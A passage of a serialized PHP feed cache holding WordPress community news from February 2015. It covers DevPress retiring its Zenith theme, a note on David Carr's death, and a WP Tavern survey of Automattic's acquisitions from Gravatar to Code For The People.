Replaces Zenith\" /></a>Zelda Replaces Zenith\n<p>The HTML markup in Zelda is almost entirely rewritten. &#8220;If I was a customer who had spent hours making customizations through a child theme, I would be sorely disappointed when I clicked that auto-update button. Whereas, introducing a new version let&#8217;s the user decide whether to switch or not.&#8221; Price said. He plans on supporting Zenith for another year to give customers an opportunity to decide whether or not to switch to the new theme.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ThemeRetirement.png\" rel=\"prettyphoto[38968]\"><img class=\"size-full wp-image-38982\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ThemeRetirement.png?resize=650%2C200\" alt=\"Theme Retirement\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/120360673@N04/13856166954\">Retirement Calendar</a> &#8211; <a href=\"https://creativecommons.org/licenses/by-sa/2.0/\">(license)</a>\n<p>Price <a title=\"https://tommcfarlin.com/planned-obsolescence-of-wordpress-themes/#comment-799966\" href=\"https://tommcfarlin.com/planned-obsolescence-of-wordpress-themes/#comment-799966\">gives more insight</a> into his strategy within the comments of an article written by Tom McFarlin on <a title=\"https://tommcfarlin.com/planned-obsolescence-of-wordpress-themes/\" href=\"https://tommcfarlin.com/planned-obsolescence-of-wordpress-themes/\">planned obsolescence of WordPress themes</a>.</p>\n<blockquote><p>I think planned obsolescence or &#8216;theme retirement&#8217; is a really good option for theme shops. Big updates (like converting a theme to be responsive, or using new development techniques like icon fonts) is sometimes really difficult to do in a way that won’t break child themes.</p>\n<p>We’re using a mix of the &#8216;Fork It&#8217; and &#8216;Retire It&#8217; options at DevPress. The &#8216;Cascade&#8217; theme will become &#8216;Cascadia&#8217; (for example) and we’ll make the new theme available for free to all customers who purchased the free version. Less popular themes will just be retired as we add new themes to take their place.</p></blockquote>\n<p>Although theme shops are able to retire themes and set up redirects to newer versions, retiring a theme is not as easy to do on the WordPress theme directory. According to Price, &#8220;You can request a takedown and release a theme under a different name, but there&#8217;s no way to 301 redirect the established traffic to the new spot.&#8221; Not only does a theme author lose traffic, but they also can’t push out critical updates for retired themes.</p>\n<p>DevPress isn&#8217;t the first theme shop to use a retirement strategy. Since 2012, WooThemes has <a title=\"http://docs.woothemes.com/document/retired-themes/\" href=\"http://docs.woothemes.com/document/retired-themes/\">retired 92</a> themes. Array also <a title=\"https://array.is/theme-retirement/\" href=\"https://array.is/theme-retirement/\">retires themes</a>, but offers them for free with no support. A theme retirement strategy makes sense from a business perspective, but as a customer, I expect themes I buy to stick around for a year or more.</p>\n<p>As a customer, what do you think about commercial theme companies retiring themes? For commercial theme shops, how does such a strategy help your business?</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 20:13:45 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:15;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:27:\"Matt: Passing of David Carr\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44692\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:43:\"http://ma.tt/2015/02/passing-of-david-carr/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:330:\"<p>Shocked and dismayed this morning on the news that David Carr passed last night after collapsing in the New York Times newsroom, where he was working into the evening. If you&#8217;re not familiar with his work or legacy, <a href=\"http://mediagazer.com/150212/p36#a150212p36\">these links on Mediagazer are a good start</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 16:04:50 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:16;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:62:\"WPTavern: A Look Back at 16 Automattic Acquisitions Since 2007\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38863\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"http://wptavern.com/a-look-back-at-16-automattic-acquisitions-since-2007\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:23673:\"<p>Since <a title=\"http://automattic.com/\" href=\"http://automattic.com/\">Automattic</a> was founded in 2005, it has acquired several businesses, services, products, and people. In August, the company will be 10 years old and I thought it would be interesting to see if the acquisitions the company has made are still around. The list is organized from earliest to latest.</p>\n<h2>Gravatar</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/03/GravatarLogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-18453 size-full\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/03/GravatarLogo.png?resize=239%2C63\" alt=\"Gravatar Logo 2\" /></a> <a title=\"http://en.gravatar.com/\" href=\"http://en.gravatar.com/\">Gravatar</a> stands for globally recognized avatar and is an image that follows you around on the web. This eliminates the hassle of maintaining a visual identity across multiple communities. In 2014, what was supposed to be a Gravatar mobile app, <a title=\"http://wptavern.com/automattics-planned-gravatar-app-morphs-into-a-selfies-app-for-android\" href=\"http://wptavern.com/automattics-planned-gravatar-app-morphs-into-a-selfies-app-for-android\">morphed into a Selfies app for Android</a>. Although Gravatar is supported in a number of applications, I think there&#8217;s still a lot of work to do before it becomes a globally recognized image. Gravatar was created by Tom Werner and <a title=\"http://blog.gravatar.com/2007/10/18/automattic-gravatar/\" href=\"http://blog.gravatar.com/2007/10/18/automattic-gravatar/\">acquired in 2007</a>.</p>\n<h2>BuddyPress Acqui-hire</h2>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2009/04/buddypresslogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-966 size-full\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2009/04/buddypresslogo.png?resize=212%2C76\" alt=\"BuddyPress Logo\" /></a><a title=\"https://buddypress.org/\" href=\"https://buddypress.org/\">BuddyPress</a> was conceived <a title=\"https://buddypress.org/about/story/\" href=\"https://buddypress.org/about/story/\">in 2008</a> by Andy Peatling and started out as a set of plugins to add social networking features to WordPress MU (multi-user). In March of 2008, Peatling was <a title=\"http://ma.tt/2008/03/backing-buddypress/\" href=\"http://ma.tt/2008/03/backing-buddypress/\">acqui-hired by Automattic</a> and joined the company as an employee. Peatling is not as active in BuddyPress core development, but thanks to John James Jacoby and the community surrounding it, it&#8217;s still an actively developed project. BuddyPress 2.2 <a title=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\" href=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\">was released in February and </a>features a new member type API and several bug fixes.</p>\n<h2>IntenseDebate</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2009/08/intensedebatelogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-2326 size-full\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2009/08/intensedebatelogo.png?resize=189%2C43\" alt=\"IntenseDebate Logo\" /></a><a title=\"http://intensedebate.com/home\" href=\"http://intensedebate.com/home\">IntenseDebate</a> is a third-party commenting service that showed a lot of promise of being a premiere service to replace the native commenting system in WordPress. It synced comments from the service to the local database to ensure no comments were lost. The service <a title=\"http://blog.intensedebate.com/2009/03/05/introducing-intensedebate-plugins-add-the-features-you-want/\" href=\"http://blog.intensedebate.com/2009/03/05/introducing-intensedebate-plugins-add-the-features-you-want/\">introduced</a> a <a title=\"http://intensedebate.com/plugins\" href=\"http://intensedebate.com/plugins\">plugin eco-system</a> in 2009, that I think if given more time, would have helped the service fly past the competition. Unfortunately, development on the service came to a halt somewhere <a title=\"http://wptavern.com/what-is-the-future-of-comments-in-wordpress\" href=\"http://wptavern.com/what-is-the-future-of-comments-in-wordpress\">between 2012 and 2013</a>.</p>\n<p>IntenseDebate was founded by Isaac Keyet and Jon Fox in 2006 and was <a title=\"http://ma.tt/2008/09/intense-debate-goes-automattic/\" href=\"http://ma.tt/2008/09/intense-debate-goes-automattic/\">acquired by Automattic</a> in 2008.</p>\n<h2>Polldaddy</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2010/02/polldaddylogo2.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-3334\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2010/02/polldaddylogo2.png?resize=242%2C56\" alt=\"polldaddylogo2\" /></a><a title=\"https://polldaddy.com/\" href=\"https://polldaddy.com/\">Polldaddy</a> is a platform agnostic service that lets users create surveys and polls. Polldaddy was founded in 2006 by David Lenehan in Sligo, Ireland and was <a title=\"http://blog.polldaddy.com/2008/10/15/automattic-acquires-polldaddy/\" href=\"http://blog.polldaddy.com/2008/10/15/automattic-acquires-polldaddy/\">acquired by Automattic</a> in 2008. Between 2006 and when the company was acquired, about 1 million polls were created and 195 million votes were collected. At the time of Polldaddy&#8217;s acquisition, Automattic had <a title=\"http://www.theguardian.com/technology/pda/2010/nov/26/ireland-sligo-polldaddy-wordpress-startup\" href=\"http://www.theguardian.com/technology/pda/2010/nov/26/ireland-sligo-polldaddy-wordpress-startup\">about 20 employees</a>.</p>\n<h2>Blo.gs</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/blogslogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-38873\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/blogslogo.png?resize=244%2C90\" alt=\"blogs logo\" /></a><a title=\"http://blo.gs\" href=\"http://blo.gs\">Blog.gs</a> is a directory of recently updated blogs founded in 2002 by Jim Winstead. In 2005, the company was <a title=\"http://trainedmonkey.com/2005/6/14/blo_gs_has_been_acquired_by_yahoo_\" href=\"http://trainedmonkey.com/2005/6/14/blo_gs_has_been_acquired_by_yahoo_\">acquired by Yahoo!</a> and in 2009, transferred to Automattic. According to the <a title=\"http://ma.tt/2009/04/blogs-lives-on/\" href=\"http://ma.tt/2009/04/blogs-lives-on/\">announcement</a>, Automattic planned to beef up the service, &#8220;We’re looking forward to beefing up the service and giving it a refresh, while continuing its reputation for reliability.&#8221; The site&#8217;s design hasn&#8217;t changed in years and features like search and ping submissions are broken.</p>\n<h2>After the Deadline</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2009/09/afterthedeadlinelogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-2512 size-full\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2009/09/afterthedeadlinelogo.png?resize=253%2C60\" alt=\"afterthedeadlinelogo\" /></a><a title=\"http://www.afterthedeadline.com/\" href=\"http://www.afterthedeadline.com/\">After the Deadline</a> is a contextual spell checking service created in 2009 by Raphael Mudge. Out of all the acquisitions Automattic has made, Mudge has <a title=\"http://blog.afterthedeadline.com/2009/09/08/after-the-deadline-acquired/\" href=\"http://blog.afterthedeadline.com/2009/09/08/after-the-deadline-acquired/\">one of the best acquisition stories</a> I&#8217;ve read. After <a title=\"http://news.ycombinator.com/item?id=636168\" href=\"http://news.ycombinator.com/item?id=636168\">publishing a comment</a> on a Hacker News article showing off how AtD works, Mullenweg got in touch with Mudge and acquired the company in 2009.</p>\n<p>Mudge stayed with the company for a few years, but moved on to focus his energy on a new passion, <a title=\"http://www.advancedpentest.com/\" href=\"http://www.advancedpentest.com/\">cyber security</a>. AtD is actively developed and is available as <a title=\"http://jetpack.me/support/spelling-and-grammar/\" href=\"http://jetpack.me/support/spelling-and-grammar/\">a module in Jetpack</a>.</p>\n<h2>Plinky</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Plinkylogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-38875 size-full\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Plinkylogo.png?resize=283%2C127\" alt=\"Plinkylogo\" /></a><a title=\"http://www.plinky.com/\" href=\"http://www.plinky.com/\">Plinky</a> is a service created by Thing Labs that inspired users to write content. Every day Plinky displayed a prompt with a question, idea, or challenge. Writers answered the challenge using the Plinky editor which made it easy to add rich media and send posts to social media services. Plinky was acquired by Automattic in 2010. In 2014, user registration was disabled and the service was placed into archive mode.</p>\n<h2>Code Garage</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2012/12/CodeGaragelogo.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-6754 size-full\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2012/12/CodeGaragelogo.jpg?resize=262%2C54\" alt=\"Code Garage Logo\" /></a><a title=\"http://codegarage.com/blog/\" href=\"http://codegarage.com/blog/\">Code Garage</a> provided backups, security scanning, and crisis control for WordPress sites. Customers could monitor 5 websites for $25 a month which was more affordable than VaultPress which charged a flat fee per site. Code Garage was founded in 2010 and <a title=\"http://blog.vaultpress.com/2012/12/21/vaultpress-in-the-garage/\" href=\"http://blog.vaultpress.com/2012/12/21/vaultpress-in-the-garage/\">acquired by Automattic</a> in 2012.</p>\n<p>In May of 2013, Code Garage <a title=\"http://wptavern.com/code-garage-migrations-are-underway\" href=\"http://wptavern.com/code-garage-migrations-are-underway\">migrated customers</a> to VaultPress and promptly shut the service down in July. As part of the acquisition, Peter Butler, one of the company&#8217;s founders, joined Automattic to work with the VaultPress team.</p>\n<h2>Simperium and Simplenote</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Simperiumlogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-38878\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Simperiumlogo.png?resize=127%2C126\" alt=\"Simperiumlogo\" /></a> <a title=\"https://simperium.com/\" href=\"https://simperium.com/\">Simperium </a>is the creator of <a title=\"http://simplenote.com/\" href=\"http://simplenote.com/\">SimpleNote</a>, a note taking app that is synchronized across platforms. Simperium is a data synchronization service that allows developers to move data everywhere it&#8217;s needed. The company was founded in 2010 and <a title=\"http://ma.tt/2013/01/simplenote-and-simperium/\" href=\"http://ma.tt/2013/01/simplenote-and-simperium/\">acquired by Automattic</a> in 2013.</p>\n<h2>Poster</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/PosterApp.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-medium wp-image-38945\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/PosterApp.png?resize=300%2C148\" alt=\"Poster Mobile App\" /></a>Poster was a slick, easy to use, WordPress mobile app for iOS that was founded by <a title=\"http://www.tomwitkin.com/\" href=\"http://www.tomwitkin.com/\">Tom Witkin</a> and <a title=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\" href=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\">acquired in 2013</a>. After the acquisition, the app was removed from the App Store and Witkin joined the mobile team at Automattic.</p>\n<p>Frederic Lardinois, who <a title=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\" href=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\">wrote about the news</a> on TechCrunch, described the app as, &#8220;one of the most elegant and smarter mobile WordPress clients.&#8221; The WordPress mobile apps continue to get better, but it&#8217;s unclear which improvements have been influenced by Witkin or Poster.</p>\n<h2>Lean Domain Search</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/07/LeanDomainSearchLogo.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-7919\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/07/LeanDomainSearchLogo.jpg?resize=259%2C51\" alt=\"Lean Domain Search Logo\" /></a><a title=\"http://www.leandomainsearch.com/\" href=\"http://www.leandomainsearch.com/\">Lean Domain Search </a>is a service that allows users to find and register domain names. One of its signature features is the domain name generator which suggests domains based on a word or phrase. Lean Domain Search was created by Matt Mazur in 2012 and <a title=\"http://www.leandomainsearch.com/blog/45-lean-domain-search-acquired-by-automattic\" href=\"http://www.leandomainsearch.com/blog/45-lean-domain-search-acquired-by-automattic\">acquired in 2013.</a> When users find a domain they like, Lean Domain Search provides an option to register it and create a new blog on WordPress.com. Thanks to the acquisition, the service is still available and free to use.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/LeanDomainSearchResults.png\" rel=\"prettyphoto[38863]\"><img class=\"size-full wp-image-38882\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/LeanDomainSearchResults.png?resize=996%2C761\" alt=\"Lean Domain Search Results\" /></a>Lean Domain Search Results\n<p>&nbsp;</p>\n<h2>Cloudup</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/12/cloudup.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-12353 size-thumbnail\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/12/cloudup.png?resize=150%2C150\" alt=\"cloudup\" /></a><a title=\"https://cloudup.com/\" href=\"https://cloudup.com/\">Cloudup</a> is a free file-sharing service founded by Thianh Lu and Guillermo Rauch in 2010 and <a title=\"http://ma.tt/2013/09/automattic-cloudup/\" href=\"http://ma.tt/2013/09/automattic-cloudup/\">acquired in 2013</a>. <a title=\"http://techcrunch.com/2013/09/25/automattic-acquires-file-sharing-service-cloudup-to-build-faster-media-library-and-enable-co-editing/\" href=\"http://techcrunch.com/2013/09/25/automattic-acquires-file-sharing-service-cloudup-to-build-faster-media-library-and-enable-co-editing/\">According to TechCrunch</a>, the acquisition was supposed to help Automattic improve two particular features on WordPress.com. The media library used for uploading visual content and co-editing to give multiple users the ability to edit a post at the same time.</p>\n<p>Immediately following the deal, the team was tasked with revamping the post editor and replacing the media library on WordPress.com with Cloudup. Although Cloudup has <a title=\"https://cloudup.com/blog\" href=\"https://cloudup.com/blog\">continued to add new features</a>, it has yet to replace the media library or add the ability to edit posts at the same on WordPress.com.</p>\n<h2>Longreads</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/04/longreads.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-medium wp-image-20743\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/04/longreads.jpg?resize=300%2C95\" alt=\"longreads\" /></a><a title=\"http://longreads.com/\" href=\"http://longreads.com/\">Longreads</a> is dedicated to finding and sharing the best long-form stories on the web. Longreads was founded by Mark Armstrong in 2009 and <a title=\"http://en.blog.wordpress.com/2014/04/09/longreads-joins-automattic/\" href=\"http://en.blog.wordpress.com/2014/04/09/longreads-joins-automattic/\">acquired in 2014. </a>Longreads operates under a paid subscription model with plans ranging from $3-5 per month.</p>\n<h2>Scroll Kit</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/04/scroll-kit.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-medium wp-image-21768\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/04/scroll-kit.png?resize=300%2C158\" alt=\"scroll-kit\" /></a> <a title=\"http://www.scrollkit.com/\" href=\"http://www.scrollkit.com/\">Scroll Kit</a> allowed users to create web pages without writing a line of code using a powerful visual editor. It made headlines when co-founder, Cody Brown, <a title=\"http://techcrunch.com/2013/05/21/snow-fail-the-new-york-times-and-its-misunderstanding-of-copyright/\" href=\"http://techcrunch.com/2013/05/21/snow-fail-the-new-york-times-and-its-misunderstanding-of-copyright/\">recreated the famous Snow Fall piece</a> from the New York Times. Brown said he made the replica site in only an hour, &#8220;The New York Times spent hundreds of hours hand-coding &#8216;Snow Fall.&#8217; We made a replica in an hour.&#8221;</p>\n<p>Founded by Kate Ray and Cody Brown, <a title=\"http://www.scrollkit.com/\" href=\"http://www.scrollkit.com/\">Scroll Kit</a> was <a title=\"http://ma.tt/2014/04/scrollkit-and-longreads-at-automattic/\" href=\"http://ma.tt/2014/04/scrollkit-and-longreads-at-automattic/\">acquired in 2014</a>. According to an announcement on the <a title=\"http://www.scrollkit.com/\" href=\"http://www.scrollkit.com/\">Scroll Kit website</a>, Ray and Brown joined the WordPress.com product team. Scroll Kit shut down its service and users had three months to export their content. I&#8217;ve never used Scroll Kit, so it&#8217;s hard to determine what improvements are influenced by Ray and Brown. <a title=\"http://wptavern.com/automattic-snaps-up-scroll-kit-to-add-to-the-wordpress-com-product-team\" href=\"http://wptavern.com/automattic-snaps-up-scroll-kit-to-add-to-the-wordpress-com-product-team\">We questioned</a> whether Scroll Kit&#8217;s editor would be added to the theme editing experience on WordPress.com. As a WordPress.com user, I haven&#8217;t noticed any major changes to the theme editing experience since the acquisition.</p>\n<h2>Parka</h2>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2013/07/bruteforcelogo.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-7693\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2013/07/bruteforcelogo.jpg?resize=228%2C219\" alt=\"Brute Protect Logo\" /></a><a title=\"http://getparka.com/\" href=\"http://getparka.com/\">Parka</a> is the parent company of <a title=\"https://bruteprotect.com/\" href=\"https://bruteprotect.com/\">BruteProtect,</a> a service that provides brute force login protection for thousands of sites. Parka was established in 2013 by Sam Hotchkiss and <a title=\"http://jetpack.me/2014/08/26/automattic-bruteprotect/\" href=\"http://jetpack.me/2014/08/26/automattic-bruteprotect/\">acquired in 2014. </a>All seven Parka employees joined Automattic and are part of the Jetpack development team.</p>\n<p>As part of the acquisition, <a title=\"https://my.bruteprotect.com/\" href=\"https://my.bruteprotect.com/\">BruteProtect pro</a> services became free to use. BruteProtect is undergoing a transformation as it&#8217;s merged into Jetpack as a module. Merging with Jetpack will give millions of sites free brute force login protection making the web a safer place.</p>\n<h2>Code For The People</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/CodeForThePeopleLogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-38941 size-full\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/CodeForThePeopleLogo.png?resize=270%2C132\" alt=\"CodeForThePeopleLogo\" /></a><a title=\"http://codeforthepeople.com/\" href=\"http://codeforthepeople.com/\">Code For The People</a> is a WordPress development agency based in the United Kingdom and a long time partner of the <a title=\"http://vip.wordpress.com/\" href=\"http://vip.wordpress.com/\">WordPress.com VIP program</a>. Founded by Simon Dickson and Simon Wheatley, Code For The People was <a title=\"http://wptavern.com/automattic-acquires-code-for-the-people-expands-wordpress-com-vips-reach-into-european-markets\" href=\"http://wptavern.com/automattic-acquires-code-for-the-people-expands-wordpress-com-vips-reach-into-european-markets\">acquired in 2014. </a>All six employees joined Automattic and will help out the VIP team during European hours.</p>\n<p>This acquisition is historic for two reasons. The first is that CTFP is the first WordPress development agency to be acquired by Automattic. Second, CFTP employee John Blackbourn was leading<a title=\"http://wptavern.com/meet-john-blackbourn-wordpress-4-1-release-lead\" href=\"http://wptavern.com/meet-john-blackbourn-wordpress-4-1-release-lead\"> the development cycle for WordPress 4.1</a> when the acquisition occurred, turning him into an Automattic employee.</p>\n<p>In addition to talent, they also obtained CFTP’s <a href=\"http://babbleplugin.com/\" target=\"_blank\">Babble</a> plugin, an open source multilingual tool, that will continue to be maintained by Automattic. According to <a title=\"http://techcrunch.com/2014/11/06/automattic-buys-uks-code-for-the-people-to-build-out-its-wordpress-vip-enterprise-business/\" href=\"http://techcrunch.com/2014/11/06/automattic-buys-uks-code-for-the-people-to-build-out-its-wordpress-vip-enterprise-business/\">TechCrunch</a>, Mullenweg says Babble was a key part of the deal.</p>\n<h2>Thoughts and Observations</h2>\n<p>While going through the list of acquisitions Automattic has made over the years, a few things occurred to me. For all the great talent Automattic has acquired, it&#8217;s difficult to determine an individual&#8217;s influence on WordPress.com products. For instance, as an individual, Tom Witkin created an awesome mobile app for WordPress. Since being acquired, I can&#8217;t tell which improvements in the <a title=\"https://apps.wordpress.org/\" href=\"https://apps.wordpress.org/\">WordPress for iOS app</a> are the result of his work.</p>\n<p>Whether it&#8217;s due to time, difficulty, or other factors, certain items in some of the acquisition announcements have failed to materialize. A good example is the Cloudup acquisition. Nearly two years after the deal happened, WordPress.com and the self-hosted version still lack the ability to co-edit a post at the same time. There&#8217;s also no improvements to the media library I can trace back to the Cloudup team. It&#8217;s unclear if these are items still on the priority list or if they&#8217;ve been discarded.</p>\n<p>Another thing I noticed is that I didn&#8217;t recognize most of the businesses, products, and services acquired until after the acquisition announcement was published. It indicates Mullenweg has his eye on up and coming properties doing awesome things in the space. Unfortunately, in some instances, it means the product or service is shut down by Automattic eliminating any opportunity to use it. Poster, Blo.gs, and Scroll Kit immediately come to mind as things I&#8217;ll never  have the chance to use.</p>\n<p>I hope you enjoyed this trip down memory lane. We&#8217;re at the beginning of a new year and with <a title=\"http://recode.net/2014/05/05/wordpress-parent-automattic-has-raised-160-million-now-valued-at-1-16-billion-post-money/\" href=\"http://recode.net/2014/05/05/wordpress-parent-automattic-has-raised-160-million-now-valued-at-1-16-billion-post-money/\">Automattic raising $160M in 2014</a>, it&#8217;s only a matter of time before we read about the next acquisition. Who or what do you think the company will acquire next?</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 03:55:39 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:17;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:73:\"WPTavern: Customizer Theme Switcher Officially Proposed for WordPress 